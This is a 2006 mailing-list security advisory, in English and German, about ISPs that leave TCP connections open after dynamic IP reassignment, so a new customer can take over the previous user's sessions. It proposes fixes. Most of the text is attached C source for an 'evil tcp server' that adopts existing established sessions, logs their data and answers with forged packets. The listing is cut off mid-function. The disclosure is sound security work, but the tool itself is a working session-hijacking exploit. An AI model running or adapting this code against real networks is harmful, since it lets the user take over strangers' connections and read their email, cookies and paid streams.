lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-Id: <200607160436.k6G4aF9K031753@NEPTUNE>
Date: Sun, 16 Jul 2006 06:36:15 +0200 (CEST)
From: peter_philipp@...enet.de
To: security@...se.de
Cc: bugtraq@...urityfocus.com, risks@....sri.com, red@...sec.de
Subject: Consumers of Broadband Providers (ISP) may be open to hijack attacks

For this risk advisory in german please search down to "D> Deutsche Version".

>Originator:	Peter Philipp
>Organization:  Daemonic Networks
>Synopsis:	Consumer of Broadband Providers (ISP) may be open to hijack attacks
>Severity:	serious
>Priority:	medium
>Category:	network security
>Class:		systemic flaw

>Description:
	Some ISP networks do not reset open TCP connections of customers that
were either cut-off by the ISP or cut off by self-initiation.  While it is 
responsibility of every person to terminate every open connection before
link termination, when the ISP initiates this, it cannot be guaranteed.  A 
customer who happens to resume a recycled dynamic IP can then read the 
previous persons open sessions.  With streaming mp3 radio services that work 
on a per-pay basis, this can result in substantial monetary losses, not to 
mention porn streaming.  Further unencrypted email can be read and website 
cookies can be assumed to continue private Web sessions.
>How-To-Repeat:
	With a stateful firewall one can determine TCP traffic that has no 
state registered with the firewall and if the TCP flags do not match SYN, 
FIN, or RST, one can assume open connection and continue them.  Interesting
things have been captured, including, IRC chat sessions, HTTP downloads and
POP3 sessions theoretically could also be continued.  Software[1] written for
BSD Unix follows this advisory, that can re-assume open sessions.
>Fix:
	After a dynamic customer terminates a broadband connection, network
access servers should terminate any TCP traffic with an RST reply, and give at 
least a minute time for any retransmissions to be caught.  If this is not
wanted by the network architect, perhaps a stateful firewall keeping states
for customers per session.  This is not a good solution though because some
people do not want a firewall between their end-user connection and the open
Internet, their privacy from this should be accepted.  Another security 
programmer that I contacted, suggested that dynamic IP addresses perhaps be 
more static with end-users, but I personally don't think this is a good 
solution either as this puts the anonymity of end-users at stake, and goes
against the philosophy of anonymity that the forefathers of the Internet
thought out.  On the consumers side one can protect themselves by only 
using encrypted communications, as this makes reading of personal data 
difficult.

>Thank yous:
	Thanks to Daniel Hartmeier for his suggestions on how to remedy this.

>Anniversaries:
	On this day 12 years ago, in 1994, Comet Shoemaker-Levy 9 first 
touched Jupiter and left considerable scars.  When will humankind realise 
that nature has not ceased being your foe.  Stop wasting resources warring 
each other and prepare against your true enemy, that being nature.  Nature 
will never allow humankind to replace it as humankinds prime enemy.



D> Deutsche Version

D> Bericht von: Peter Philipp
D> Organisation: Daemonic Networks
D> Beschreibung:  Vebraucher von Breitband Provider (ISP) koennten Hijack-Attacken erleben
D> Einstufung:	ernst
D> Prioritaet:	mittel
D> Kategorie:	Netzwerk Sicherung
D> Klasse:	Systematischer Fehler

D> Detailierte Beschreibung:
	Manche ISP Netzwerke terminieren offene TCP Verbindungen nicht, von
Kunden die entweder abgeschnitten vom ISP, oder selbst die Broadband Verbindung 
getrennt haben.  Da es die eigene Verantwortung von jeder Person ist ihre 
eigenen TCP Verbindungen zu trennen, bevor sie ihr Breitband trennen oder den
Computer abschalten,  kann man nichts sagen.  Aber wenn der ISP die Trennung
iniziert ist es die Verantwortung des ISPs die offenen TCP Verbindungen auch
zu trennen.  Ein Kunde der auf einer wiederbenutzten Dynamischen IP Adresse 
stoesst, die offene TCP Verbindungen haelt, kann man die Verbindung weiter 
steuern und Private Daten ablesen.  Mit MP3 Streaming von Online-Radio das 
auf Bezahlung ihre Musik teilt dies kann teuer werden.  Auch mit 
Porn-Streaming.  Weiter koennen unverschluesselte E-Mails gelesen werden und 
Web Cookies koennen Authentifizierte Web Verbindungen uebernehmen and 
Persoenliche Daten koennen gelesen werden.

D> Wie zu wiederholen:
	Mit einer "stateful" Firewall kann man TCP Verbindungen/Packete 
aussortieren die keine registrierten "states" (zustaende) haben und die 
nicht die TCP Flaggen SYN, FIN oder RST besitzen.  Somit kann die 
Verbindung weiter uebernommen werden (TCP Hijack).  Interessante Dinge 
sind schon bereits abgelesen worden waerend der Demo-Software 
Implementierungs Phase, so wie IRC Chat, HTTP Verbindungen und theoretisch 
POP3 Verbindungen die nicht verschluesselt sind.  Software[1] geschrieben 
auf BSD Unix ist am Ende dieser Nachricht angebunden, das diesen Fehler 
ausnuetzt.

D> Behebung:
	Nachdem ein Dynamisch-IP nutzender Kunde die Breitband Verbindung
trennt,  sollten Netzwerk Access Server alle TCP Verbindungen/Packete trennen 
mit einem TCP RST die nach der Trennung noch vom Netz zu der IP fliessen.  
Wenigstens fuer eine Minute sollte kein neuer Kunde die IP Adressen uebernehmen
um zu Garantieren das alle wiederholten TCP Transmissionen 
(engl. retransmissions) abgekuerzt werden koennen.  Falls der angehoerige
Netzwerk Architekt dies nicht bevorzugt fuer was-auch-immer Gruende, koennte
eine Stateful Firewall einzelne Kunden-Verbindungen schuetzen.  Dies ist
nicht geraten da es Komplex ist und nicht die Privatsphaere des Verbrauchers
schuetzt.  Manche Kunden wollen auch keine Firewall zwischen ihnen und dem
offenen Netz, und ihre wuensche sollten akzeptiert werden.  Ein Security
Programmierer mit dem ich Kontakt hatte, schlug vor das vielleicht 
Dynamische IP Adressen des Verbrauchers mehr Statisch gemacht werden, aber
persoenlich denke ich das dies nicht eine Loesung ist.  Es geht gegen die
Internet Philosophie der Anonymitaet.  Und koennte der Privatsphaere eines
Breitband Kundens schaden.  Einzelne Kunden koennen sich schuetzen mit
Verschluesselten Protokollen, da es das lesen Privater Daten erschwert.

D> Dankeschoens:
	Vielen dank zu Daniel Hartmeier fuer seine Hilfe Loesungen zu finden.

D> An diesem Tag:
	An diesem Tag vor 12 Jahren, in 1994, beruehrte der Komet 
Shoemaker-Levy 9 zuerst den Planeten Jupiter und hinterlies betraechtliche
Wunden.  Wann wird die Menschheit einsehen das die Natur, unser eigentlicher 
Feind, nie besiegt wurde.  Stoppt die Verschwenderei von Krieg gegen euch 
selber und macht euch bereit der Natur ins Auge zu sehen, wenn Sie kommt.  
Die Natur wird nie erlauben das der Mensch Sie vergisst als den groessten 
Feind der Menschheit.

[1]

/* 
 * Copyright (c) 2006 Peter Philipp
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 */


/*
 * this is an evil tcp server, it allows taking over states that are already
 * in the established state, based on mytcp
 */


#include <sys/param.h>
#include <sys/socket.h>
#ifdef __OpenBSD__
#include <sys/timeout.h>
#endif
#include <sys/time.h>
#include <sys/wait.h>
#include <sys/sysctl.h>
#include <sys/ioctl.h>
#include <sys/stat.h>

#include <net/if.h>
#include <net/if_tun.h>

#include <net/if_arp.h>
#include <net/ethertypes.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>

#include <netinet/ip.h>
#include <netinet/ip_var.h>
#include <netinet/ip_icmp.h>

#include <netinet/if_ether.h>


#define TCPSTATES
#include <netinet/tcp_fsm.h>
#include <netinet/tcp_timer.h>
#include <netinet/tcp_seq.h>
#include <netinet/tcp.h>

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <pcap.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <pwd.h>

/* #include "pjp.h" */

#ifndef TCPS_RESET
#define	TCPS_RESET	11
#endif

#define POINT_A	"192.168.0.1"
#define POINT_B "192.168.0.2"
#define NETMASK "255.255.255.0"
#define POINT_C	"192.168.1.1"

int schedfin = 0;
int sigpipe = 0;
u_int16_t win = 0x4000;
int blast = 1;
pcap_t *p;			/* unfortunate */
int clogger;			/* XXX */
char *exec_prog = "/bin/date";
const u_int32_t gaf = AF_INET;
char *script = NULL;
int use_script = 0;
char *pointa = POINT_A , *pointb = POINT_B;
char *netmask = NETMASK;
int run_privileged = 0;

u_char mymac[ETHER_ADDR_LEN];
u_char routermac[ETHER_ADDR_LEN];
u_char broadcastmac[ETHER_ADDR_LEN];

in_addr_t myip;
in_addr_t routerip;



extern char **environ;

struct sess {
	int 		raw;		/* XXX */
	int		state;			/* state of socket */
	int		fd;				/* socketpair end */
	u_int16_t	mss;		/* MSS of remote */

	u_int32_t	ack;		/* connection ack */
	u_int32_t	seq;		/* connection seq */
	in_addr_t	remote;		/* remote ip */
	in_addr_t	local;		/* local ip */
	u_short		rport;		/* remote port */
	u_short		lport;		/* local port */
	u_int8_t	ttl;		/* TTL XXX */

	time_t		syntime;	/* replied syn timer */
	time_t		last_used;	/* last time this was used */
	int	sigpipe;			/* received a pipe */

	char *data;				/* data read */

	pid_t child;				/* script child */
	int totallen;				/* total data read */
	int len;				/* data read len */

	struct sess *previous;	/* previous */
	struct sess *next;		/* next */
};

/* prototypes */

u_int16_t ip_cksum(u_int16_t *p, int len);
u_int16_t tcp_cksum(u_int16_t *addr, int len, struct ip *ip);

void handler(int fd, u_char *data, int len, u_char *session);
void reply_arp(int fd, u_char *data, int len);
void synack(struct sess*);
void send_ack(struct sess*, u_int8_t, int);
void onpipe(int);
void onchld(int);
void onalrm(int);
void print_state(int);
void sendfin(struct sess *s);
void get_data(struct sess *, u_char *, int);

int get_ifmtu(char *name);
int clog_port(void);
int send_push(struct sess *, u_int8_t, char *, int);
int set_ip4header(struct ip *ip, struct ip *hints);
int oursocket(struct sess *, struct ip *, struct tcphdr *);
int open_raw(int proto);

u_long inc_seq(u_long seq, int inc);

int open_tunnel(void);
int open_tun(char *name, int len);
int set_tunmode(int fd, int mode);
int check_tundev(int fd);
int del_ifip(char *name, char *ip);
int set_ifip(char *name, char *, char *, int af);
int set_ifpop(char *name, char *point1, char *point2, char *netmask);
short get_ifflags(char *name);
int set_ifflags(char *name, short flags);
int set_ifup(char *name);
int set_ifdown(char *name);
int set_ifmtu(char *name, int mtu);
int get_ifmtu(char *name);
in_addr_t get_ifaddr(char *name);
void reply_icmp(int, char *, int);
void arplookup(int);
int write_frame(int, char *, int);


/* mainly nonsense */

int
main(int argc, char *argv[])
{
	pid_t pid;
	int fd[2];
	int status;
	int logfd;
	char *logfile = "/root/eviltcp.log";

	struct bpf_program bp;
	struct sess SESSION;
	struct sess *init_pcb;
	struct sess *cur_pcb;
	struct sess *tmp_pcb;

	int mode, rlen;
	int i;

	char *interface = "lo0";
	char *buf, *port = "80";
	char *buf2;
	char compile_str[512];
	int mtu;
	int sfd;
	u_char tbuf[2000];
	int len;
	struct in_addr dummy;
	char *safe_data, *p;

	memset(broadcastmac, 0xff, sizeof(broadcastmac));

	while ((i = getopt(argc, argv, "a:b:c:i:l:n:p:r:s:P")) != -1) {
		switch (i) {
		case 'l':
			logfile = optarg;
			break;
		case 'a':
			if (inet_aton(optarg, &dummy) != 1) {
				fprintf(stderr, "flag a: invalid address %s\n", optarg);
				exit(1);
			}
			pointa = optarg;

			myip = inet_addr(pointa);
			mymac[0] = 0;
			memcpy ((char *)&mymac[1], (char *)&myip, sizeof(u_int32_t));
			mymac[5] = 0x1;

			break;
		case 'b':
			if (inet_aton(optarg, &dummy) != 1) {
				fprintf(stderr, "flag b: invalid address %s\n", optarg);
				exit(1);
			}
			pointb = optarg;
			break;
		case 'n':
			if (inet_aton(optarg, &dummy) != 1) {
				fprintf(stderr, "flag n: invalid netmask %s\n", optarg);
				exit(1);
			}
			netmask = optarg;
			break;
		case 'c':
			exec_prog = optarg;
			break;
		case 'i':
			interface = optarg;
			break;
		case 'p':
			port = optarg;
			break;
		case 'r':
			routerip = inet_addr(optarg);
			break;

		case 's':
			script = optarg;
			use_script = 1;
			break;
		case 'P':
			run_privileged = 1;
			break;
		default:
			exit(1);
			break;
		}
	}

	chdir("/");

#if 0
	if ((mtu = get_ifmtu(interface)) < 0 || mtu > 1500)
		mtu = 1500; 		/* set some default */
#endif

	mtu = 1500;

	mtu -= (sizeof(u_int32_t) + sizeof(struct ip) + sizeof(struct tcphdr));

	if ((buf = calloc(1, mtu)) == NULL) {
		perror("calloc");
		exit(1);
	}

	if ((buf2 = calloc(1, mtu)) == NULL) {
		perror("calloc");
		exit(1);
	}

	signal(SIGPIPE, onpipe);
	signal(SIGCHLD, onchld);
	signal(SIGALRM, onalrm);

	memset(&SESSION, 0, sizeof(SESSION));

	sfd = open_tunnel();	


	/* find out our router's MAC address */

	arplookup(sfd);

	/* initialize first pcb's */

	if ((init_pcb = calloc(1, sizeof(struct sess))) == NULL) {
		perror("calloc");
		exit(1);
	}

	init_pcb->state = TCPS_LISTEN;		/* initial in listen state */
	init_pcb->next = NULL;			/* end of chain */

#if 0
	if ((init_pcb->raw = open_raw(IPPROTO_RAW)) < 0) {
		perror("open_raw");
		exit(1);
	}

#endif

	init_pcb->raw = sfd; 
	if (mode = fcntl(sfd, F_GETFL, 0) < 0) 
		perror("fcntl");
	if (fcntl(sfd, F_SETFL, mode | O_NONBLOCK) < 0)
		perror("fcntl");


	daemon(0,0);

	/* mainloop */
	for (;;) {
		for (cur_pcb = init_pcb->previous; cur_pcb != NULL; 
			cur_pcb = cur_pcb->previous) {	

			switch (cur_pcb->state) {
			case TCPS_LISTEN:
				/* NOOP */
				break;
			case TCPS_ESTABLISHED:
				/* do needed processing */
				if (cur_pcb->len > 0) {
#if 0
					printf("writing %d bytes\n", cur_pcb->len);
#endif
					if (use_script) {
						safe_data = malloc(cur_pcb->len);
						if (safe_data != NULL) {
							memcpy(safe_data, cur_pcb->data, cur_pcb->len);
							p = safe_data;

							for (i = 0; i < cur_pcb->len; i++) {
								if (*p == '`' || *p == '$') {
									*p = '.';
								}
								p++;
							}
							errno = 0;
							if (write(cur_pcb->fd, safe_data, cur_pcb->len) < 0) {
								if (errno == EPIPE)
									cur_pcb->sigpipe = 1;

								break;
							}

							free(safe_data);
						}
					} else {
						errno = 0;
						if (write(cur_pcb->fd, cur_pcb->data, cur_pcb->len) < 0) {
							if (errno == EPIPE)
								cur_pcb->sigpipe = 1;

						break;
						}
					}


					logfd = open(logfile, O_CREAT | O_APPEND | O_WRONLY | O_EXLOCK, 0600);
					if (logfd != -1) {
						write(logfd, cur_pcb->data, cur_pcb->len);
						close(logfd);
					}
						

					/* update our ack as we wrote the data to the application */
					cur_pcb->ack = inc_seq(cur_pcb->ack, cur_pcb->len);
					send_ack(cur_pcb, TH_ACK, cur_pcb->ack); /* XXX */
					cur_pcb->last_used = time(NULL);

					free (cur_pcb->data);
					cur_pcb->data = NULL;
					cur_pcb->totallen += cur_pcb->len;
					cur_pcb->len = 0;
				}

				errno = 0;
				if ((rlen = recv(cur_pcb->fd, buf, mtu, 0)) < 0) {
					if (errno == EWOULDBLOCK) {
#if 0
						printf("blocked on input breaking out\n");
#endif
						break;
					}
					perror("recv");
					break;
				}

				if (rlen == 0) {


					/*
					 * send a fin only if we had written 
				 	 * data before and there ain't nothing 
					 * coming back
					 */
					if (cur_pcb->totallen) {
						/* send fin */
						sendfin(cur_pcb);
						cur_pcb->state = TCPS_FIN_WAIT_1;
#if 0
						printf("pcb %x state now FIN_WAIT_1\n", cur_pcb);
#endif
					}
					break;
				}

				if (recv(cur_pcb->fd, buf2, mtu, MSG_PEEK) == 0) {
#if 0
					printf("peeked and ending conn\n");
#endif
					while (send_push(cur_pcb, TH_FIN, buf, rlen) < 0) 
						;

					cur_pcb->last_used = time(NULL);

					cur_pcb->seq = inc_seq(cur_pcb->seq, rlen);
					cur_pcb->state = TCPS_FIN_WAIT_1;
#if 0
					printf("pcb %x state now FIN_WAIT_1\n", cur_pcb);
#endif
					break;
				}

				/* else */
				while (send_push(cur_pcb, 0, buf, rlen) < 0)
					;
				cur_pcb->seq = inc_seq(cur_pcb->seq, rlen);
				cur_pcb->last_used = time(NULL);
						
				break;
			case TCPS_FIN_WAIT_1:
				/* active close do nothing */
				break;
			case TCPS_FIN_WAIT_2:
				/* this is another do nothing unfortunately */
				break;
			case TCPS_TIME_WAIT:
				/* we're on the timeout list ignore */
				break;
			case TCPS_CLOSE_WAIT:
				/* we've received a FIN, send ack, send fin */
				/* send ack */
				/* send fin */
				cur_pcb->state = TCPS_LAST_ACK;
#if 0
				printf("pcb %x state now LAST_ACK\n", cur_pcb);
#endif
				break;
			case TCPS_RESET:
				/* send reset */	
				cur_pcb->state = TCPS_CLOSED;
#if 0
				printf("pcb %x state now CLOSED\n", cur_pcb);
#endif
				break;
			case TCPS_CLOSED:
				/* this socket is closed remove it */
				break;
			}
		}

		errno = 0;
		if ((len = read(sfd, tbuf, sizeof(tbuf))) < 0) {
			if (errno != EWOULDBLOCK) 
				perror("read");
			goto end;
		}
		
		if (len > 0)
			handler(sfd, tbuf, len, (u_char*)init_pcb);

end:
		usleep(500);


		for (cur_pcb = init_pcb->previous; cur_pcb != NULL; 
			cur_pcb = cur_pcb->previous) {	
			time_t now;

	
			now = time(NULL);

			if (difftime(now, cur_pcb->last_used) >= 300) {

				close(cur_pcb->fd);
				kill(cur_pcb->child, SIGTERM);

				cur_pcb->next->previous = cur_pcb->previous;
				if (cur_pcb->previous != NULL) {

					cur_pcb->previous->next = cur_pcb->next;
					tmp_pcb = cur_pcb;

					cur_pcb = cur_pcb->next;

					free(tmp_pcb);
				} else {
					free(cur_pcb);
					break;
				}
			}
		}
	

	}

	/* NOTREACHED */
}


void
handler(int sfd, u_char *data, int len, u_char *session)
{
	struct ip *ip;
	struct tcphdr *tcp;
	struct sess *s;
	struct ether_header *eh = (struct ether_header *)data;

	struct sess *init_pcb;
	struct sess *cur_pcb, *next_pcb;

	int optlen;
	int i, raw;
	int mode;
	int fd[2];
	
	char *prog;

	uid_t uid;
	struct passwd *pw;

	pid_t pid;

#if 0
	printf("in handler\n");
#endif

	s = (struct sess *) session;
	init_pcb = (struct sess *)session;

	raw = s->raw;

	if (ntohs(eh->ether_type) == ETHERTYPE_ARP) {
		reply_arp(sfd, data, len);
		return;
	}


	if (memcmp(broadcastmac, eh->ether_dhost, sizeof(broadcastmac)) == 0 ||
		(eh->ether_dhost[0] & 0x1 == 0x1) || 
		(ntohs(eh->ether_type) != ETHERTYPE_IP )) {
		/* not an ip or arp frame, or destined for broadcast/multicast */
		return;
	}

	data += sizeof(struct ether_header);
	len -= sizeof(struct ether_header);

	if (len < sizeof(struct ip)) {
		return;
	}

#if 0
	printf("recieved packet\n");
	for (i=0; i< len; i++) {
		printf("%02x", data[i] & 0xff);
		if (i && i % 16 == 0)
			printf("\n");
	}
	printf("\n");
#endif


	ip = (struct ip *)data;

	/* IP options not recognized */
	if (ip->ip_hl << 2 != sizeof(struct ip)) 
		return;

	if (ip_cksum((u_int16_t *)ip, sizeof(struct ip)) != 0) 
		return;
	if (ip->ip_v != IPVERSION)
		return;

	if (ip->ip_p == IPPROTO_ICMP) {
		reply_icmp(sfd, data, len);
		return;
	}

	if (ip->ip_p != IPPROTO_TCP) {	
		return;
	}

	data += sizeof(struct ip);
	len -= sizeof(struct ip);

	if (len < sizeof(struct tcphdr))
		return;

	tcp = (struct tcphdr*)data;
	data += sizeof(struct tcphdr);
	len -= sizeof(struct tcphdr);

	/* we only want to process foreign packets, our own is irrelevant */
	if (ip->ip_src.s_addr == s->local && tcp->th_sport == s->lport)
		return;

	/* checksum tcp header */

	if (tcp_cksum((u_int16_t *)tcp, len + sizeof(struct tcphdr), ip) != 0)
		return;

	/* pullup options */

	if ((optlen = ((tcp->th_off << 2) - sizeof(struct tcphdr))) > 0) {
		if (optlen > len)
			return;

		data += optlen;
		len -= optlen;
	}


#if 0
	printf("len now = %d\n", len);
#endif

	/* find corresponding PCB */

	for (cur_pcb = init_pcb; cur_pcb != NULL; cur_pcb = cur_pcb->previous) {
		if (cur_pcb->local == ip->ip_dst.s_addr && 
			cur_pcb->remote == ip->ip_src.s_addr &&
			cur_pcb->lport == tcp->th_dport && 
			cur_pcb->rport == tcp->th_sport) {
			/* we have one such pcb in our list */
			break;
		}
	}


	if (cur_pcb == NULL) {
#if 0
	printf("creating new pcb\n");
#endif
		/* create new pcb and attach at front of chain */
		if ((cur_pcb = calloc(1, sizeof(struct sess))) == NULL) {
			perror("calloc");
			/* oh dear */
		}
		if ((tcp->th_flags & TH_FIN) == TH_FIN || (tcp->th_flags & TH_RST) == TH_RST || (tcp->th_flags & TH_SYN) == TH_SYN) {
			/* send rst, not for us */
			free(cur_pcb);
			return;
		}

		cur_pcb->next = init_pcb;
		cur_pcb->previous = NULL;

		init_pcb->previous = cur_pcb;

		cur_pcb->state = TCPS_ESTABLISHED;
		cur_pcb->local = ip->ip_dst.s_addr;
		cur_pcb->remote = ip->ip_src.s_addr;
		cur_pcb->lport = tcp->th_dport;
		cur_pcb->rport = tcp->th_sport;
		cur_pcb->seq = tcp->th_ack;
		cur_pcb->ack = tcp->th_seq;
		cur_pcb->raw = init_pcb->raw;

		if (socketpair(AF_UNIX, SOCK_STREAM, 0, (int *)&fd) < 0) {
			perror("socketpair");
			return;
		}
		switch (pid = fork()) {
		case -1:
			perror("fork");
			return;
		case 0:
			/* drop privileges */

			pw = getpwnam("nobody");
			if (pw != NULL) {
				uid = pw->pw_uid;
			} else {
				uid = -1;
			}

			if (! run_privileged ) 
				setresuid(uid, uid, uid);
				
			/* child */
			/* XXX */
			close(fd[0]);

			dup2(fd[1], STDIN_FILENO);
			dup2(fd[1], STDOUT_FILENO);
			close(fd[1]);
			{
				char tbuf[512];
				snprintf(tbuf, sizeof(tbuf), "EVILTCP_TTL=%d", cur_pcb->ttl);
				putenv(tbuf);

				snprintf(tbuf, sizeof(tbuf), "EVILTCP_SRCIP=%s", inet_ntoa(cur_pcb->remote));	
				putenv(tbuf);

				snprintf(tbuf, sizeof(tbuf), "EVILTCP_DSTIP=%s", inet_ntoa(cur_pcb->local));

				putenv(tbuf);
			
				snprintf(tbuf, sizeof(tbuf), "EVILTCP_SRCPORT=%u", ntohs(cur_pcb->rport));

				putenv(tbuf);

				snprintf(tbuf, sizeof(tbuf), "EVILTCP_DSTPORT=%u", ntohs(cur_pcb->lport));

				putenv(tbuf);

			}
		
			prog = strrchr(exec_prog, '/');
			prog++;

			if (use_script) {
				execle("/bin/sh", "sh", "-c", script, NULL, environ);
			} else {
				execle(exec_prog, prog, NULL, environ);
			}

			perror("execl");
			exit(1);

		default:
			close(fd[1]);
			cur_pcb->fd = dup(fd[0]);
			cur_pcb->child = pid;
			close(fd[0]);

			if (mode = fcntl(cur_pcb->fd, F_GETFL, 0) < 0) 
				perror("fcntl");
			if (fcntl(cur_pcb->fd, F_SETFL, mode | O_NONBLOCK) < 0)
				perror("fcntl");

			break;
		}

#if 0
		printf("pcb %x state now SYN_RECEIVED\n", cur_pcb);
#endif
		/* init_pcb = cur_pcb; */
#if 0
		return;	/* no need to go further */
#endif
	}

	cur_pcb->last_used = time(NULL);

#if 0
	printf("pcb %x state: ", cur_pcb);
	print_state(cur_pcb->state);
#endif 

	switch (cur_pcb->state) {
	case TCPS_LISTEN:
		break;
	case TCPS_ESTABLISHED:

		if (len <= 0)
			break;

		get_data(cur_pcb, data, len);		/* XXX */

#if 0
		printf("cur_pcb->len = %d\n", cur_pcb->len);
#endif

		break;

	/* 
	 * Remember, any and all packets can come in unordered, XXX
	 * good thing there is retransmissions
	 */
	case TCPS_FIN_WAIT_1:
		if (tcp->th_flags == TH_ACK && 
			tcp->th_ack == inc_seq(cur_pcb->seq, 1)) {
				cur_pcb->seq = inc_seq(cur_pcb->seq, 1);
				cur_pcb->state = TCPS_FIN_WAIT_2;
#if 0
				printf("pcb %x state now FIN_WAIT_2\n", cur_pcb);
#endif
		}
			
		break;
	case TCPS_FIN_WAIT_2:
		if (tcp->th_flags & (TH_FIN | TH_ACK) != (TH_FIN | TH_ACK)) {
			/* reset ? */
		}

		/* 
		 * XXX, got FIN ack it, this is the only time that we send
		 * any packet in the handler
		 */

	//	cur_pcb->ack = inc_seq(cur_pcb->ack, 1);
		send_ack(cur_pcb, TH_RST, cur_pcb->ack);
		cur_pcb->last_used = time(NULL);

		cur_pcb->state = TCPS_TIME_WAIT;
#if 0
		printf("pcb %x state now TIME_WAIT\n", cur_pcb);
#endif

		break;

	default:
		break;
	}

	return;
}

void
synack(struct sess *s)
{
	send_ack(s, TH_SYN | TH_ACK, inc_seq(s->ack, 1));
	s->last_used = time(NULL);

	return;
}

void
send_ack(struct sess *sess, u_int8_t flags, int inc)
{
	u_char buf[sizeof(struct ip) + sizeof(struct tcphdr)];
	struct ip *new_ip;
	struct ip hints;
	struct tcphdr *new_tcp;
	struct sockaddr_in sin;
	int s;
	int on = 1;
	int i;
	u_int32_t *af;
	
	s = sess->raw;

#if 0
	af = (u_int32_t *)&buf[0];
	new_ip = (struct ip *)&buf[sizeof(u_int32_t)];
	new_tcp = (struct tcphdr*)&buf[sizeof(u_int32_t) + sizeof(struct ip)];
#endif
	new_ip = (struct ip *)&buf[0];
	new_tcp = (struct tcphdr*)&buf[sizeof(struct ip)];

	memset(buf, 0, sizeof(buf));

	memset(&hints, 0, sizeof(hints));
	hints.ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr));
	hints.ip_p = IPPROTO_TCP;
	hints.ip_src.s_addr = sess->local;
	hints.ip_dst.s_addr = sess->remote;
	set_ip4header(new_ip, &hints);

	new_tcp->th_sport = sess->lport;
	new_tcp->th_dport = sess->rport;
	new_tcp->th_seq = sess->seq;
	new_tcp->th_ack = inc;
	new_tcp->th_off = sizeof(struct tcphdr) >> 2;

	new_tcp->th_flags = TH_ACK | (flags);

	new_tcp->th_win = htons(0x4000);
	new_tcp->th_sum = 0;
	new_tcp->th_urp = 0;

	/* compute checksums? */
	new_tcp->th_sum = tcp_cksum((u_short *)new_tcp, sizeof(struct tcphdr), new_ip);
	new_ip->ip_sum = ip_cksum((u_short *)new_ip, sizeof(struct ip));

	memset((char *)&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = sess->remote;

#if 0
	for (i = 0; i < sizeof(buf); i++) {
		printf("%02x", buf[i] & 0xff);
		if (i && i % 16 == 0) {
			printf("\n");
		}
	}
	printf("\n");
#endif
	
	if (write_frame(s, buf, sizeof(buf)) < 0) {
		perror("write_frame 1");
	}
}

/*
 * A good idea to disable functionality of a port 
 */

int
clog_port(void)
{
	struct sockaddr_in sin;
	int s;

	s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (s < 0)  {
		perror("socket");
		return -1;
	}

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(80);
	sin.sin_addr.s_addr = inet_addr("172.16.0.2");

	if (bind(s, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
		perror("bind");
		return -1;
	}

	return s;
}

void
print_state(int state)
{
	if (state == TCPS_RESET)
		return;
	printf("state = %s\n", tcpstates[state]);
	return;
}

u_long
inc_seq(u_long seq, int inc)
{
	int _seq;

	_seq = ntohl(seq);
	_seq += inc;
	return(htonl(_seq));
}

void
sendfin(struct sess *sess)
{
	u_char buf[sizeof(struct ip) + sizeof(struct tcphdr)];
	struct ip *new_ip;
	struct ip hints;
	struct tcphdr *new_tcp;
	struct sockaddr_in sin;
	int s;
	int on = 1;
	int i;
	u_int32_t *af;

	s = sess->raw;

#if 0
	af = (u_int32_t *)&buf[0];
	new_ip = (struct ip *)&buf[sizeof(u_int32_t)];
	new_tcp = (struct tcphdr*)&buf[sizeof(u_int32_t) + sizeof(struct ip)];
#endif

	new_ip = (struct ip *)&buf[0];
	new_tcp = (struct tcphdr*)&buf[sizeof(struct ip)];

	memset(buf, 0, sizeof(buf));
	memset(&hints, 0, sizeof(hints));
	hints.ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr));
	hints.ip_p = IPPROTO_TCP;
	hints.ip_src.s_addr = sess->local;
	hints.ip_dst.s_addr = sess->remote;
	set_ip4header(new_ip, &hints);

	new_tcp->th_sport = sess->lport;
	new_tcp->th_dport = sess->rport;
	new_tcp->th_seq = sess->seq;
	new_tcp->th_ack = sess->ack;
	new_tcp->th_off = sizeof(struct tcphdr) >> 2;

	new_tcp->th_flags = TH_FIN | TH_ACK;

	new_tcp->th_win = htons(0x4000);
	new_tcp->th_sum = 0;
	new_tcp->th_urp = 0;

	/* compute checksums? */
	new_tcp->th_sum = tcp_cksum((u_short *)new_tcp, sizeof(struct tcphdr), new_ip);
